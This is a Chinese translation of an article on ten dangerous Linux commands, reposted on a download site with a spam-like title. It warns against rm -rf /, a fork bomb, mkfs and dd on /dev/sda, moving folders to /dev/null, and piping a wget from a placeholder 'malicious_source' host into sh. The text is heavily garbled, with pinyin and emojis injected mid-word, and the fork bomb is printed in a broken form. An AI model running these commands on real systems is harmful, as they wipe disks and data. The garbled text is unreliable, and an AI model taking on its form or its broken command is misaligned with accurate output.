国语自产精品视频在线看:您身边最放心的安全下载站! 最新软件|热门排行|软件分类|软件专题|厂商大全

国语自产精品视频在线看

技术教程
您的位置:首页操作系统linux → Linux系统中10个最危险的命令

Linux系统中10个最危险的命令

我要评论 2013/12/08 22:40:27 来源:国语自产精品视频在线看 编辑:zbbingyang.com [ ] 评论:0 点击:202次

我们大多数的【de】🏰朋友都【péng yǒu dōu】是一辈子都用的【de】🏰windows系统,基本用鼠标就可以完成所有的【de】🏰操作【cāo zuò】,但是在Linux系统中【xì tǒng zhōng】那么基🤠本上就是键盘+命令操作【cāo zuò】电脑的【de】🏰,Linux命令行佷有用、很高效,也很有🔄趣,但有时候也很【hòu yě hěn】📁危险🚼,尤其是【yóu qí shì】🥛在你不【zài nǐ bú】确定你【què dìng nǐ】🌸自己在正在做🗨什么时候。这篇文章并不🌫打算引【dǎ suàn yǐn】🍎来你对🥈Linux或【huò】linux 命令行的【de】愤怒🍁,只是想【zhī shì xiǎng】让你意🙃识到在【shí dào zài】🧣你运行【nǐ yùn háng】某些命🎟令时应【lìng shí yīng】🕸该三思【gāi sān sī】而后行🧓。(译注:当然【dāng rán】,以下命【yǐ xià mìng】🔶令通常都是在【dōu shì zài】⚡root权限下【quán xiàn xià】才能将【cái néng jiāng】愚蠢发挥到无🌭可救药【kě jiù yào】🥇;在普通用户身份下,破坏的【de】🏰只是自己的【de】🏰一亩三分地。)

1. rm -rf 命令

rm -rf命令是【mìng lìng shì】删除文🐄件夹及其内容最快的【zuì kuài de】方式之一。仅仅一丁点的敲错或无知都【wú zhī dōu】可能导致不可【zhì bú kě】🔥恢复的【huī fù de】系统崩🈷坏【huài】🕗。下列是🍒一些rm 命令的选项🤢。

rm命令在【mìng lìng zài】Linux下通常【xià tōng cháng】👸用来删除文件😰。

rm -r 命令递【mìng lìng dì】归的删【guī de shān】🌱除文件夹【wén jiàn jiá】,甚至是【shèn zhì shì】🤠空的文件夹【wén jiàn jiá】。(译注:个人认为此处🤴应该是【yīng gāi shì】说错了💅,从常识🥏看【kàn】,应该是【yīng gāi shì】“甚至是【shèn zhì shì】🤠非空的文件夹【wén jiàn jiá】”)

rm -f 命令能不经过【bú jīng guò】😍询问直接删除【jiē shān chú】‘只读文件【jiàn】’。(译注【yì zhù】:Linux下删除文件【jiàn】并不在乎该文件【gāi wén jiàn】是否是🌳只读的【zhī dú de】,而♒只是在意其父目录是否有写权限🕠。所以🏇,-f这个参数只是表示不【biǎo shì bú】必一个🎢个删除确认【chú què rèn】,而♒是一律悄悄🧝删除。另外👚,原始的【yuán shǐ de】📭rm命令其【mìng lìng qí】实也是没有删除提示🧢的【de】,只是一🐙般的发【bān de fā】行版都【háng bǎn dōu】会将rm通过别名的方【míng de fāng】🈹式增加【shì zēng jiā】-i参数来要求删【yào qiú shān】🆚除确认【chú què rèn】,而♒-f则抑制🎿了这个📫提示🧢。)

rm -rf / : 强制删【qiáng zhì shān】🍹除根目录下所【lù xià suǒ】有东东。(就是说删除完毕后【bì hòu】🛣,什么也没有了🧕……)

rm -rf *: 强制删【qiáng zhì shān】🚵除当前【chú dāng qián】目录的所有文😟件。

rm -rf . : 强制删【qiáng zhì shān】🔊除当前文件夹【wén jiàn jiá】🦆及其子文件夹【wén jiàn jiá】🦆。

从现在起,当你要执行【zhí háng】rm -rf命令时🤥请留心一点。我们可🤗以在【yǐ zài】“.bashrc”文件对【wén jiàn duì】‘rm‘命令创建🐺rm -i的别名☕,来预防用 ‘rm‘命令删【mìng lìng shān】除文件【chú wén jiàn】时的事故👉,它会要🍥求你确【qiú nǐ què】🥩认每一🌏个删除请求【qǐng qiú】。(译注:大多数【dà duō shù】发行版🙄已经这【yǐ jīng zhè】🏍样做了【yàng zuò le】🐣,如果还没有,请这样做【zuò】,并在使用-f参数前【cān shù qián】一定考虑好你🕍在做什【zài zuò shí】么!译者本🏻人有着血泪的【xuè lèi de】教训啊🍣。)

2. :():|;: 命令

这就是💇个fork 炸弹的实例🧑。具体操作是通【zuò shì tōng】🐟过定义【guò dìng yì】➕一个名为 ‘:‘的函数,它会调【tā huì diào】😨用自己两次【liǎng cì】,一次在前台另【qián tái lìng】一次运【yī cì yùn】行在后【háng zài hòu】台。它会反🎛复的执行下去直到系🌟统崩溃。

哦【ò】?你确认➖你要试试么?千万别【qiān wàn bié】在公司正式的🏆服务器上实验【shàng shí yàn】啊🐿~~

3. 命令> /dev/sda

上列命令【mìng lìng】会将某个⌛‘命令【mìng lìng】‘的输出【de shū chū】写到块设备🥓/dev/sda中【zhōng】👐。该操作【gāi cāo zuò】会将在😹块设备🥓中【zhōng】👐的所有【de suǒ yǒu】数据【shù jù】🍵块替换为命令【mìng lìng】写入的⛴原始数据【shù jù】📿,从而导【cóng ér dǎo】致整个块设备🥓的数据【shù jù】📿丢失。

4. mv文件夹/dev/null

这个命【zhè gè mìng】令会移动某个【dòng mǒu gè】‘文件夹【wén jiàn jiá】🏷‘到🐤/dev/null。在Linux中🎃 /dev/null 或 null 设备是一个特🏕殊的文件,所有写【suǒ yǒu xiě】入它的数据都会被清👶除,然后返【rán hòu fǎn】💴回写操作成【chéng】功➕。(译注【yì zhù】:这就是😟黑洞啊。当然【dāng rán】,要说明的是,通过将🥀文件夹【wén jiàn jiá】🏷移动到🐤黑洞,并不能【bìng bú néng】阻止数【zǔ zhǐ shù】🤰据恢复🥡软件的【ruǎn jiàn de】救赎,所以,真正的彻底毁灭🧖,需要采用专用【yòng zhuān yòng】🦍的软件【de ruǎn jiàn】或者手🥎法来完成【chéng】——我知道你肯定【nǐ kěn dìng】有些东🍵西想删除得干【chú dé gàn】干净净【gàn jìng jìng】的。)

上列命令会将🙏User目录所【mù lù suǒ】🥜有内容【yǒu nèi róng】移动到/dev/null,这意味着所有【zhe suǒ yǒu】🤔东西都【dōng xī dōu】被‘卷入’黑洞✒ (null)之中。

5. wget http://malicious_source -O- | sh

上列命【shàng liè mìng】令会从【lìng huì cóng】一个(也许是)恶意源【è yì yuán】下载一【xià zǎi yī】个脚本🔸并执行【bìng zhí háng】。Wget命令会下载这🐨个脚本🔸,而sh会(无条件的🔨)执行下⏰载下来的脚本【de jiǎo běn】😃。

注意: 你应该时刻注意你下【yì nǐ xià】载包或脚本的【jiǎo běn de】🕹源。只能使🥄用那些【yòng nà xiē】从可信【cóng kě xìn】任的源中下载🌬脚本/程序【chéng xù】。(译注:所以🈶,你真的知道你🚋在做什么吗【me ma】⏲?当遇到【dāng yù dào】这种需🆓要是【yào shì】,我的做【wǒ de zuò】法是【fǎ shì】,先wget下来【xià lái】🗃,然后我去读一读其中🕎到底写了些什么🔽,然后考⏮虑是否执行。)

6. mkfs.ext3 /dev/sda

上列命令【liè mìng lìng】会格🔳式化块🚯设备‘sda’,你无疑🎩知道在🌏执行上【zhí háng shàng】列命令【liè mìng lìng】后你的🚋块设备(硬盘驱动器【dòng qì】)会被格🚧式化,崭新的🤠!没有任何数据,直接让【zhí jiē ràng】🕊你的系【nǐ de xì】统达到不可恢复的阶【fù de jiē】段【duàn】🌑。(译注:通常不会直接【huì zhí jiē】使用【shǐ yòng】✈/dev/sda这样的设备,除非是【chú fēi shì】作为【zuò wéi】raw设备使🌟用【yòng】,一般都📅需要将【xū yào jiāng】sda分成类似sda1、sda2这样的分区后【fèn qū hòu】🖐才使用【shǐ yòng】✈。当然【dāng rán】🕋,无论你使用【shǐ yòng】✈sda还是👬sda1,这样对块设备或分区【huò fèn qū】进行mkfs都是毁灭性的,上面的🎂数据都【shù jù dōu】会被蒸🕸发了。)

7. > file

上列命【shàng liè mìng】令常用【lìng cháng yòng】来清空文件【jiàn】内♒容📢(译注🛥:通常也用于记【yòng yú jì】录命令输出。不过请在🤺执行前,确认输出的文🆒件【jiàn】是空的或者【de huò zhě】🔕还不存在🤺,否则原🎀来的文件【jiàn】可真是恢复不了了🏤——连数据🥨恢复软件【jiàn】都未🐥必能帮🛩助你了🚖。另外【lìng wài】🗯,我想你可能真正想用【zhèng xiǎng yòng】的是【de shì】🏟“>>”,即累加【jí lèi jiā】新的输【xīn de shū】出到文【chū dào wén】件【jiàn】,而不是【ér bú shì】刷新那【shuā xīn nà】个文件【gè wén jiàn】。)。如果用🙎上列执行时输【háng shí shū】入错误【rù cuò wù】或无知的输入类似 “>xt.conf” 的命令会覆盖🚨配置文【pèi zhì wén】🍬件【jiàn】或其他任何的系统配置文【pèi zhì wén】🍬件【jiàn】。

8. ^foo^bar

这个命🛑令在我们十个🔑鲜为人🍝知的【zhī de】🔅 Linux 命令【mìng lìng】 - Part 3中描述📜过,用来编【yòng lái biān】辑先前【jí xiān qián】🔌运行的命令而【mìng lìng ér】无需重打整个【dǎ zhěng gè】命令【mìng lìng】。但当用foobar命令时【mìng lìng shí】如果你没有彻【méi yǒu chè】底检查改变原始命令【mìng lìng】🍠的风险【de fēng xiǎn】,这可能✖导致真正的麻烦。(译注🗑:事实上【shì shí shàng】,这种小【zhè zhǒng xiǎo】技巧🔄是译者认为的【rèn wéi de】,少数史💄前时代遗留下🍧来的无用而有【yòng ér yǒu】💗害的“黑客”技巧🔄。)

9. dd if=/dev/random of=/dev/sda

上列命🎋令会向块设备📨sda写入随机的垃圾文件【jī wén jiàn】从而擦【cóng ér cā】🚜出数据【chū shù jù】。当然!你的系【nǐ de xì】统可能陷入混🤹乱和不可恢复的状态【de zhuàng tài】。(译注:记得上面说过【miàn shuō guò】🔘mv到黑洞【dào hēi dòng】并不能🚇彻底删除数据【chú shù jù】么【me】?那么这【nà me zhè】😞个命令🤴就是给了你一💙个彻底🚛删除的方法【fāng fǎ】!当然为了保险起见,你可以覆写多🥟次。)

10. 隐藏命令

下面的【xià miàn de】📀命令其实就是上面第一个命令 (rm -rf)。这里的代码是【dài mǎ shì】隐藏在🦋十六进制里的,一个无知的用【zhī de yòng】户可能♐就会被【jiù huì bèi】愚弄【yú nòng】🖍。在终端【zài zhōng duān】⚡里运行🔽下面命令可能会擦除你的根【nǐ de gēn】🤭分区。

这个命令表明通常真【tōng cháng zhēn】🌯正的危【zhèng de wēi】🚄险是隐【xiǎn shì yǐn】藏的,不会被轻易的【qīng yì de】检测到😿。你必须🌋时刻留【shí kè liú】心你在做什么😭结果会怎样。不要编【bú yào biān】译/运行从【yùn háng cóng】🌴未知来源的代码♒。

注意【zhù yì】🍜:不要在【bú yào zài】🏈你的或【nǐ de huò】🗿你的同学或学校的电脑里的Linux终端或【zhōng duān huò】Shell执行以上的任🏔何一个🧥命令。如果你【rú guǒ nǐ】💹想测试【xiǎng cè shì】🏟它们,请在虚拟机上🤷运行。任何不和谐或数据丢【shù jù diū】失🎧,由于运行上面【háng shàng miàn】的命令【de mìng lìng】导致你的系统【de xì tǒng】崩溃【bēng kuì】,文章作🕴者和💆Tecmint概不负责【fù zé】。(译注:译者和💆转载网站也不📯负责【fù zé】~!)

关键词:Linux

阅读本文后您有什么感想? 已有 人给出评价!

  • 0 欢迎喜欢
  • 0 白痴
  • 0 拜托
  • 0 哇
  • 0 加油
  • 0 鄙视